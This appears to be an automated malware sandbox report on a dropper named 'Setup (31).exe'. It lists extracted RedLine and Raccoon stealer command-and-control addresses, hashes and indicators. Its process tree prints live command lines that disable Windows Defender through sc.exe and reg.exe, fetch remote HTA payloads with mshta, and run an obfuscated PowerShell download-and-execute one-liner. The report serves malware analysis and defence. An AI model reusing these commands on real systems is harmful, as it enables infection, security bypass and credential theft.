Overview
overview
10Static
static
Setup (1).exe
windows10_x64
10Setup (10).exe
windows10_x64
10Setup (11).exe
windows10_x64
10Setup (12).exe
windows10_x64
10Setup (13).exe
windows10_x64
10Setup (14).exe
windows10_x64
10Setup (15).exe
windows10_x64
10Setup (16).exe
windows10_x64
10Setup (17).exe
windows10_x64
10Setup (18).exe
windows10_x64
10Setup (19).exe
windows10_x64
10Setup (2).exe
windows10_x64
10Setup (20).exe
windows10_x64
10Setup (21).exe
windows10_x64
10Setup (22).exe
windows10_x64
10Setup (23).exe
windows10_x64
10Setup (24).exe
windows10_x64
10Setup (25).exe
windows10_x64
10Setup (26).exe
windows10_x64
10Setup (27).exe
windows10_x64
10Setup (28).exe
windows10_x64
10Setup (29).exe
windows10_x64
10Setup (3).exe
windows10_x64
10Setup (30).exe
windows10_x64
10Setup (31).exe
windows10_x64
10Setup (4).exe
windows10_x64
10Setup (5).exe
windows10_x64
10Setup (6).exe
windows10_x64
10Setup (7).exe
windows10_x64
10Setup (8).exe
windows10_x64
10Setup (9).exe
windows10_x64
Setup.exe
windows10_x64
10Resubmissions
15-10-2024 15:36
241015-s1zlzasdkc 1001-07-2024 18:32
240701-w6yteawhmq 1001-07-2024 14:52
240701-r82wmaxdnd 1001-07-2024 14:52
240701-r8syqa1dpp 1011-03-2024 21:22
240311-z8dsssgg58 1001-09-2021 13:18
210901-5bmxjspa5s 1001-09-2021 13:04
210901-te4btfspqa 1001-09-2021 05:12
210901-4wnkwm1p3j 1031-08-2021 21:47
210831-41rp97dma2 1031-08-2021 19:51
210831-359awwatje 10Analysis
-
max time kernel
135s -
max time network
471s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
01-09-2021 13:18
Static task
static1
Behavioral task
behavioral1
Sample
Setup (1).exe
Resource
win10v20210408
Behavioral task
behavioral2
Sample
Setup (10).exe
Resource
win10v20210408
Behavioral task
behavioral3
Sample
Setup (11).exe
Resource
win10v20210408
Behavioral task
behavioral4
Sample
Setup (12).exe
Resource
win10v20210408
Behavioral task
behavioral5
Sample
Setup (13).exe
Resource
win10v20210408
Behavioral task
behavioral6
Sample
Setup (14).exe
Resource
win10v20210408
Behavioral task
behavioral7
Sample
Setup (15).exe
Resource
win10v20210408
Behavioral task
behavioral8
Sample
Setup (16).exe
Resource
win10v20210408
Behavioral task
behavioral9
Sample
Setup (17).exe
Resource
win10v20210408
Behavioral task
behavioral10
Sample
Setup (18).exe
Resource
win10v20210408
Behavioral task
behavioral11
Sample
Setup (19).exe
Resource
win10v20210408
Behavioral task
behavioral12
Sample
Setup (2).exe
Resource
win10v20210408
Behavioral task
behavioral13
Sample
Setup (20).exe
Resource
win10v20210408
Behavioral task
behavioral14
Sample
Setup (21).exe
Resource
win10v20210408
Behavioral task
behavioral15
Sample
Setup (22).exe
Resource
win10v20210408
Behavioral task
behavioral16
Sample
Setup (23).exe
Resource
win10v20210408
Behavioral task
behavioral17
Sample
Setup (24).exe
Resource
win10v20210408
Behavioral task
behavioral18
Sample
Setup (25).exe
Resource
win10v20210408
Behavioral task
behavioral19
Sample
Setup (26).exe
Resource
win10v20210408
Behavioral task
behavioral20
Sample
Setup (27).exe
Resource
win10v20210408
Behavioral task
behavioral21
Sample
Setup (28).exe
Resource
win10v20210408
Behavioral task
behavioral22
Sample
Setup (29).exe
Resource
win10v20210408
Behavioral task
behavioral23
Sample
Setup (3).exe
Resource
win10v20210408
Behavioral task
behavioral24
Sample
Setup (30).exe
Resource
win10v20210408
Behavioral task
behavioral25
Sample
Setup (31).exe
Resource
win10v20210408
Behavioral task
behavioral26
Sample
Setup (4).exe
Resource
win10v20210408
Behavioral task
behavioral27
Sample
Setup (5).exe
Resource
win10v20210408
Behavioral task
behavioral28
Sample
Setup (6).exe
Resource
win10v20210408
Behavioral task
behavioral29
Sample
Setup (7).exe
Resource
win10v20210408
Behavioral task
behavioral30
Sample
Setup (8).exe
Resource
win10v20210408
Behavioral task
behavioral31
Sample
Setup (9).exe
Resource
win10v20210408
Behavioral task
behavioral32
Sample
Setup.exe
Resource
win10v20210408
General
-
Target
Setup (31).exe
-
Size
631KB
-
MD5
cb927513ff8ebff4dd52a47f7e42f934
-
SHA1
0de47c02a8adc4940a6c18621b4e4a619641d029
-
SHA256
fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f
-
SHA512
988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c
Malware Config
Extracted
https://kmsauto.us/1/fix.txt
Extracted
https://ia601409.us.archive.org/7/items/fixmix_fix_4348843584358435/fixmix_fix_4348843584358435.txt
Extracted
redline
bratanchikAYE
45.14.49.232:63850
Extracted
redline
spnewportspectr
135.148.139.222:1594
Extracted
redline
NORMAN2
45.14.49.184:27587
Extracted
redline
1
37.0.8.88:44263
Extracted
raccoon
d02c5d65069fc7ce1993e7c52edf0c9c4c195c81
-
url4cnc
https://telete.in/open3entershift
Extracted
metasploit
windows/single_exec
Signatures
-
Glupteba Payload 2 IoCs
resource yara_rule behavioral25/memory/3852-515-0x00000000046F0000-0x0000000005016000-memory.dmp family_glupteba behavioral25/memory/3852-548-0x0000000000400000-0x000000000259B000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6944 7864 rundll32.exe 272 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 55 IoCs
resource yara_rule behavioral25/files/0x000100000001ab51-129.dat family_redline behavioral25/files/0x000100000001ab51-153.dat family_redline behavioral25/memory/4524-230-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral25/memory/4524-232-0x000000000041C5EE-mapping.dmp family_redline behavioral25/memory/4584-239-0x000000000041C5CA-mapping.dmp family_redline behavioral25/memory/4584-238-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral25/memory/4636-259-0x000000000041C5EE-mapping.dmp family_redline behavioral25/memory/4740-280-0x000000000041C5CA-mapping.dmp family_redline behavioral25/memory/4636-293-0x00000000052D0000-0x00000000058D6000-memory.dmp family_redline behavioral25/memory/5056-317-0x000000000041C5CA-mapping.dmp family_redline behavioral25/memory/4916-301-0x000000000041C5EE-mapping.dmp family_redline behavioral25/memory/4888-298-0x000000000041C5BE-mapping.dmp family_redline behavioral25/memory/4916-338-0x0000000005590000-0x0000000005B96000-memory.dmp family_redline behavioral25/memory/4428-334-0x000000000041C5EE-mapping.dmp family_redline behavioral25/memory/4616-255-0x000000000041C5BE-mapping.dmp family_redline behavioral25/memory/4616-249-0x0000000000400000-0x000000000044A000-memory.dmp family_redline behavioral25/memory/4572-346-0x000000000041C5CA-mapping.dmp family_redline behavioral25/memory/4992-363-0x000000000041C5EE-mapping.dmp family_redline behavioral25/memory/4428-360-0x0000000005420000-0x0000000005A26000-memory.dmp family_redline behavioral25/memory/4532-391-0x000000000041C5EE-mapping.dmp family_redline behavioral25/memory/4992-400-0x0000000005080000-0x0000000005686000-memory.dmp family_redline behavioral25/memory/2736-404-0x0000000004F90000-0x0000000005596000-memory.dmp family_redline behavioral25/memory/3364-411-0x00000000058B0000-0x0000000005EB6000-memory.dmp family_redline behavioral25/memory/4580-420-0x000000000041C5EE-mapping.dmp family_redline behavioral25/memory/5224-449-0x000000000041C5EE-mapping.dmp family_redline behavioral25/memory/5128-437-0x000000000041C5BE-mapping.dmp family_redline behavioral25/memory/4580-454-0x00000000056D0000-0x0000000005CD6000-memory.dmp family_redline behavioral25/memory/5312-460-0x000000000041C5CA-mapping.dmp family_redline behavioral25/memory/5128-467-0x0000000004F00000-0x0000000005506000-memory.dmp family_redline behavioral25/memory/5224-475-0x0000000005740000-0x0000000005D46000-memory.dmp family_redline behavioral25/memory/5480-484-0x000000000041C5EE-mapping.dmp family_redline behavioral25/memory/5576-497-0x000000000041C5CA-mapping.dmp family_redline behavioral25/memory/5440-476-0x000000000041C5BE-mapping.dmp family_redline behavioral25/memory/3804-429-0x000000000041C5CA-mapping.dmp family_redline behavioral25/memory/4904-407-0x000000000041C5BE-mapping.dmp family_redline behavioral25/memory/2736-373-0x000000000041C5CA-mapping.dmp family_redline behavioral25/memory/3364-374-0x000000000041C5BE-mapping.dmp family_redline behavioral25/memory/5480-510-0x0000000005290000-0x0000000005896000-memory.dmp family_redline behavioral25/memory/5740-516-0x000000000041C5BE-mapping.dmp family_redline behavioral25/memory/5796-525-0x000000000041C5EE-mapping.dmp family_redline behavioral25/memory/5312-523-0x0000000005650000-0x0000000005C56000-memory.dmp family_redline behavioral25/memory/4888-342-0x0000000005790000-0x0000000005D96000-memory.dmp family_redline behavioral25/memory/5576-551-0x0000000005350000-0x0000000005956000-memory.dmp family_redline behavioral25/memory/6104-557-0x000000000041C5BE-mapping.dmp family_redline behavioral25/memory/5908-536-0x000000000041C5CA-mapping.dmp family_redline behavioral25/memory/60-566-0x000000000041C5EE-mapping.dmp family_redline behavioral25/memory/5296-583-0x000000000041C5CA-mapping.dmp family_redline behavioral25/memory/5708-603-0x000000000041C5BE-mapping.dmp family_redline behavioral25/memory/5812-606-0x000000000041C5EE-mapping.dmp family_redline behavioral25/memory/6024-615-0x000000000041C5CA-mapping.dmp family_redline behavioral25/memory/4552-634-0x000000000041C5EE-mapping.dmp family_redline behavioral25/memory/5240-641-0x000000000041C5CA-mapping.dmp family_redline behavioral25/memory/3036-655-0x000000000041C5BE-mapping.dmp family_redline behavioral25/memory/5880-680-0x000000000041C5CA-mapping.dmp family_redline behavioral25/memory/2388-663-0x000000000041C5EE-mapping.dmp family_redline -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 2 IoCs
resource yara_rule behavioral25/memory/588-241-0x0000000000820000-0x00000000008F3000-memory.dmp family_vidar behavioral25/memory/588-251-0x0000000000400000-0x0000000000593000-memory.dmp family_vidar -
Downloads MZ/PE file
-
Executes dropped EXE 21 IoCs
pid Process 3192 ZYciPTfTeNGBEwPgRmyOxkbw.exe 2112 u8Pr90_oWKTBnRjrfthCWArY.exe 3644 1NzGiW9eRUTBMDGIh6Jpdo_o.exe 3780 sQLLa4YlpnjxiP1dIjZI2N6M.exe 2092 2oJswSMI7nMslV05wrIISttj.exe 3952 lA9tvdVbf9Cxki_DgEgj5Jhb.exe 1104 fanmuFL8IBVA8cf2pZ6fwkIG.exe 2716 Q_iAu45So9VXjVMiySwWy97d.exe 2372 mdTHm1mi67XDbwualV1hpCp8.exe 2124 kNoqHrESfLBozQa6Fk2Gbk0T.exe 3852 edpKy_yEACl4QqHTWFHTl_G3.exe 588 2pmkmYH0LmITv3aG0SP6wk6k.exe 404 hipAszWjjydA2fyMgun5dZXc.exe 2288 BANTMKaGfoagmRKC2AF4seCq.exe 652 XHZAafMWTcTFb7xQ9N1jd2ks.exe 3616 6YRSyFoAKHkoU2AdW9eOe9JW.exe 184 LX1kR9NZgAg0p3Uzkrpz6QfF.exe 3640 0ewDTi9xZ1YaUhGoQjUw3nxH.exe 3200 cEBbd6cthJd989vx3yW1quCe.exe 4108 IQDqI4JvXjhSrhy22KICWe0P.exe 4152 UmOtZYCWNR1i2tnPNx3m_TLU.exe -
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion fanmuFL8IBVA8cf2pZ6fwkIG.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion fanmuFL8IBVA8cf2pZ6fwkIG.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Q_iAu45So9VXjVMiySwWy97d.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion Q_iAu45So9VXjVMiySwWy97d.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation Setup (31).exe -
resource yara_rule behavioral25/files/0x000100000001ab62-134.dat themida behavioral25/files/0x000100000001ab66-132.dat themida behavioral25/files/0x000100000001ab66-157.dat themida behavioral25/files/0x000100000001ab62-164.dat themida behavioral25/memory/1104-196-0x0000000000A10000-0x0000000000A11000-memory.dmp themida behavioral25/memory/2716-204-0x0000000000300000-0x0000000000301000-memory.dmp themida -
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA fanmuFL8IBVA8cf2pZ6fwkIG.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Q_iAu45So9VXjVMiySwWy97d.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 12 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 612 freegeoip.app 617 freegeoip.app 119 ip-api.com 129 ipinfo.io 130 ipinfo.io 468 ipinfo.io 615 freegeoip.app 630 freegeoip.app 715 ipinfo.io 30 ipinfo.io 31 ipinfo.io 447 ipinfo.io -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 1104 fanmuFL8IBVA8cf2pZ6fwkIG.exe 2716 Q_iAu45So9VXjVMiySwWy97d.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 55 IoCs
pid pid_target Process procid_target 5268 2112 WerFault.exe 81 5944 2112 WerFault.exe 81 5900 2288 WerFault.exe 97 5240 184 WerFault.exe 98 3628 2288 WerFault.exe 97 5364 3616 WerFault.exe 99 4864 2112 WerFault.exe 81 5044 184 WerFault.exe 98 6004 3616 WerFault.exe 99 5348 2288 WerFault.exe 97 4948 2112 WerFault.exe 81 5596 184 WerFault.exe 98 6008 2288 WerFault.exe 97 2652 184 WerFault.exe 98 4264 2112 WerFault.exe 81 6140 3616 WerFault.exe 99 4460 3616 WerFault.exe 99 5496 3852 WerFault.exe 87 6812 2288 WerFault.exe 97 6932 184 WerFault.exe 98 6688 2288 WerFault.exe 97 7152 2288 WerFault.exe 97 4804 3616 WerFault.exe 99 6344 184 WerFault.exe 98 4848 3616 WerFault.exe 99 6728 3616 WerFault.exe 99 4756 3852 WerFault.exe 87 4624 184 WerFault.exe 98 7568 3852 WerFault.exe 87 7600 184 WerFault.exe 98 8000 3852 WerFault.exe 87 8096 184 WerFault.exe 98 7316 7868 WerFault.exe 258 7436 3852 WerFault.exe 87 1276 184 WerFault.exe 98 8116 184 WerFault.exe 98 8164 2112 WerFault.exe 81 856 184 WerFault.exe 98 8188 2112 WerFault.exe 81 7556 184 WerFault.exe 98 3456 184 WerFault.exe 98 8836 2112 WerFault.exe 81 9004 2112 WerFault.exe 81 9892 9560 WerFault.exe 363 10196 5220 WerFault.exe 389 10164 3852 WerFault.exe 87 7652 3852 WerFault.exe 87 9244 9832 WerFault.exe 391 9100 9832 WerFault.exe 391 9168 9832 WerFault.exe 391 10612 9832 WerFault.exe 391 11208 9832 WerFault.exe 391 10952 9832 WerFault.exe 391 5928 9832 WerFault.exe 391 11260 9832 WerFault.exe 391 -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 7712 schtasks.exe 7868 schtasks.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 11648 timeout.exe -
Kills process with taskkill 6 IoCs
pid Process 8944 taskkill.exe 8304 taskkill.exe 10208 taskkill.exe 9316 taskkill.exe 10740 taskkill.exe 10732 taskkill.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 528 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 465 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4044 Setup (31).exe 4044 Setup (31).exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 3192 ZYciPTfTeNGBEwPgRmyOxkbw.exe Token: SeDebugPrivilege 2372 mdTHm1mi67XDbwualV1hpCp8.exe -
Suspicious use of WriteProcessMemory 59 IoCs
description pid Process procid_target PID 4044 wrote to memory of 3192 4044 Setup (31).exe 80 PID 4044 wrote to memory of 3192 4044 Setup (31).exe 80 PID 4044 wrote to memory of 2112 4044 Setup (31).exe 81 PID 4044 wrote to memory of 2112 4044 Setup (31).exe 81 PID 4044 wrote to memory of 2112 4044 Setup (31).exe 81 PID 4044 wrote to memory of 2092 4044 Setup (31).exe 78 PID 4044 wrote to memory of 2092 4044 Setup (31).exe 78 PID 4044 wrote to memory of 2092 4044 Setup (31).exe 78 PID 4044 wrote to memory of 3780 4044 Setup (31).exe 79 PID 4044 wrote to memory of 3780 4044 Setup (31).exe 79 PID 4044 wrote to memory of 3644 4044 Setup (31).exe 84 PID 4044 wrote to memory of 3644 4044 Setup (31).exe 84 PID 4044 wrote to memory of 3644 4044 Setup (31).exe 84 PID 4044 wrote to memory of 3952 4044 Setup (31).exe 83 PID 4044 wrote to memory of 3952 4044 Setup (31).exe 83 PID 4044 wrote to memory of 3952 4044 Setup (31).exe 83 PID 4044 wrote to memory of 1104 4044 Setup (31).exe 82 PID 4044 wrote to memory of 1104 4044 Setup (31).exe 82 PID 4044 wrote to memory of 1104 4044 Setup (31).exe 82 PID 4044 wrote to memory of 2716 4044 Setup (31).exe 92 PID 4044 wrote to memory of 2716 4044 Setup (31).exe 92 PID 4044 wrote to memory of 2716 4044 Setup (31).exe 92 PID 4044 wrote to memory of 2372 4044 Setup (31).exe 90 PID 4044 wrote to memory of 2372 4044 Setup (31).exe 90 PID 4044 wrote to memory of 2124 4044 Setup (31).exe 88 PID 4044 wrote to memory of 2124 4044 Setup (31).exe 88 PID 4044 wrote to memory of 2124 4044 Setup (31).exe 88 PID 4044 wrote to memory of 3852 4044 Setup (31).exe 87 PID 4044 wrote to memory of 3852 4044 Setup (31).exe 87 PID 4044 wrote to memory of 3852 4044 Setup (31).exe 87 PID 4044 wrote to memory of 404 4044 Setup (31).exe 94 PID 4044 wrote to memory of 404 4044 Setup (31).exe 94 PID 4044 wrote to memory of 588 4044 Setup (31).exe 95 PID 4044 wrote to memory of 588 4044 Setup (31).exe 95 PID 4044 wrote to memory of 588 4044 Setup (31).exe 95 PID 4044 wrote to memory of 2288 4044 Setup (31).exe 97 PID 4044 wrote to memory of 2288 4044 Setup (31).exe 97 PID 4044 wrote to memory of 2288 4044 Setup (31).exe 97 PID 4044 wrote to memory of 652 4044 Setup (31).exe 96 PID 4044 wrote to memory of 652 4044 Setup (31).exe 96 PID 4044 wrote to memory of 652 4044 Setup (31).exe 96 PID 4044 wrote to memory of 3616 4044 Setup (31).exe 99 PID 4044 wrote to memory of 3616 4044 Setup (31).exe 99 PID 4044 wrote to memory of 3616 4044 Setup (31).exe 99 PID 4044 wrote to memory of 184 4044 Setup (31).exe 98 PID 4044 wrote to memory of 184 4044 Setup (31).exe 98 PID 4044 wrote to memory of 184 4044 Setup (31).exe 98 PID 4044 wrote to memory of 3640 4044 Setup (31).exe 114 PID 4044 wrote to memory of 3640 4044 Setup (31).exe 114 PID 4044 wrote to memory of 3640 4044 Setup (31).exe 114 PID 4044 wrote to memory of 3200 4044 Setup (31).exe 113 PID 4044 wrote to memory of 3200 4044 Setup (31).exe 113 PID 4044 wrote to memory of 3200 4044 Setup (31).exe 113 PID 4044 wrote to memory of 4108 4044 Setup (31).exe 106 PID 4044 wrote to memory of 4108 4044 Setup (31).exe 106 PID 4044 wrote to memory of 4108 4044 Setup (31).exe 106 PID 4044 wrote to memory of 4152 4044 Setup (31).exe 103 PID 4044 wrote to memory of 4152 4044 Setup (31).exe 103 PID 4044 wrote to memory of 4152 4044 Setup (31).exe 103
Processes
-
C:\Users\Admin\AppData\Local\Temp\Setup (31).exe"C:\Users\Admin\AppData\Local\Temp\Setup (31).exe"1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4044 -
C:\Users\Admin\Documents\2oJswSMI7nMslV05wrIISttj.exe"C:\Users\Admin\Documents\2oJswSMI7nMslV05wrIISttj.exe"2⤵
- Executes dropped EXE
PID:2092
-
-
C:\Users\Admin\Documents\sQLLa4YlpnjxiP1dIjZI2N6M.exe"C:\Users\Admin\Documents\sQLLa4YlpnjxiP1dIjZI2N6M.exe"2⤵
- Executes dropped EXE
PID:3780 -
C:\Users\Admin\AppData\Local\Temp\pCKnW96I.com"C:\Users\Admin\AppData\Local\Temp\pCKnW96I.com"3⤵PID:5544
-
C:\Windows\System32\cmd.exe"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\81BA.tmp\81BB.tmp\81BC.bat C:\Users\Admin\AppData\Local\Temp\pCKnW96I.com"4⤵PID:4140
-
C:\Windows\system32\sc.exesc config WinDefend start=disabled5⤵PID:6188
-
-
C:\Windows\system32\sc.exesc config SecurityHealthService start=disabled5⤵PID:6792
-
-
C:\Windows\system32\sc.exesc config Sense start=disabled5⤵PID:6812
-
-
C:\Windows\system32\sc.exesc config WdNisDrv start=disabled5⤵PID:6984
-
-
C:\Windows\system32\sc.exesc config WdNisSvc start=disabled5⤵PID:6464
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f5⤵PID:7056
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f5⤵PID:6464
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f5⤵PID:7440
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f5⤵PID:7800
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f5⤵PID:7188
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t REG_DWORD /d "1" /f5⤵PID:7432
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontReportInfectionInformation" /t REG_DWORD /d "1" /f5⤵PID:7996
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f5⤵PID:4544
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f5⤵PID:5220
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f5⤵PID:8156
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f5⤵PID:6168
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f5⤵PID:5992
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f5⤵PID:3012
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControlEnabled" /t REG_DWORD /d "0" /f5⤵PID:8580
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /t REG_DWORD /d "0" /f5⤵PID:8884
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f5⤵PID:9124
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx" /s /k /f "SecHealthUI" | find /i "SecHealthUI"5⤵PID:9196
-
C:\Windows\system32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx" /s /k /f "SecHealthUI"6⤵PID:8440
-
-
C:\Windows\system32\find.exefind /i "SecHealthUI"6⤵PID:8568
-
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\InboxApplications\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral_neutral_cw5n1h2txyewy" /f5⤵PID:5116
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\S-1-5-21-1594587808-2047097707-2163810515-1000\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral_neutral_cw5n1h2txyewy" /f5⤵PID:8600
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v SettingsPageVisibility5⤵PID:8976
-
C:\Windows\system32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v SettingsPageVisibility6⤵PID:6496
-
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "SettingsPageVisibility" /t REG_SZ /d "hide:windowsdefender;" /f5⤵PID:5748
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.Defender.SecurityCenter" /v "Enabled" /t REG_DWORD /d "0" /f5⤵PID:9548
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d "0" /f5⤵PID:9900
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\EUXDBHAs.com"C:\Users\Admin\AppData\Local\Temp\EUXDBHAs.com"3⤵PID:4860
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" https://ia601408.us.archive.org/23/items/fix.hta-ert/FIX.hta_ert.txt4⤵PID:8572
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TRUMP ='https://ia601409XXXusXXXarchiveXXXorg/7/items/fixmix_fix_4348843584358435/fixmix_fix_4348843584358435XXXtxt'.Replace('XXX','.');$Shib='24=42=20=3d=27=45=54=48=20=43=4f=49=4e=74=2e=57=54=46=20=43=4f=49=4e=6c=49=4f=53=4e=54=27=2e=52=65=70=6c=61=63=65=28=27=45=54=48=20=43=4f=49=4e=27=2c=27=6e=45=27=29=2e=52=65=70=6c=61=63=65=28=27=54=46=20=43=4f=49=4e=27=2c=27=45=62=43=27=29=2e=52=65=70=6c=61=63=65=28=27=4f=53=27=2c=27=65=27=29=3b=24=43=43=20=3d=20=27=44=4f=53=20=43=4f=49=4e=20=4c=53=4f=53=43=4f=49=4e=6e=47=27=2e=52=65=70=6c=61=63=65=28=27=53=20=43=4f=49=4e=20=27=2c=27=57=6e=27=29=2e=52=65=70=6c=61=63=65=28=27=53=4f=27=2c=27=6f=61=44=27=29=2e=52=65=70=6c=61=63=65=28=27=43=4f=49=4e=27=2c=27=54=72=49=27=29=3b=24=41=20=3d=27=49=60=45=6f=73=20=43=4f=49=4e=60=57=60=42=54=43=20=43=4f=49=4e=6a=60=45=54=48=20=43=4f=49=4e=20=24=42=29=2e=24=43=43=28=24=54=52=55=4d=50=29=27=2e=52=65=70=6c=61=63=65=28=27=6f=73=20=43=4f=49=4e=27=2c=27=58=28=6e=60=65=27=29=2e=52=65=70=6c=61=63=65=28=27=42=54=43=20=43=4f=49=4e=27=2c=27=2d=4f=62=27=29=2e=52=65=70=6c=61=63=65=28=27=54=48=20=43=4f=49=4e=27=2c=27=60=63=60=54=27=29=3b=26=28=27=49=27=2b=27=45=58=27=29=28=24=41=20=2d=4a=6f=69=6e=20=27=27=29=7c=26=28=27=49=27=2b=27=45=58=27=29=3b';Invoke-Expression (-join ($Shib -split '=' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))5⤵PID:4492
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\38IyqFge.com"C:\Users\Admin\AppData\Local\Temp\38IyqFge.com"3⤵PID:4672
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" https://kmsauto.us/1/FIX.hta4⤵PID:6272
-
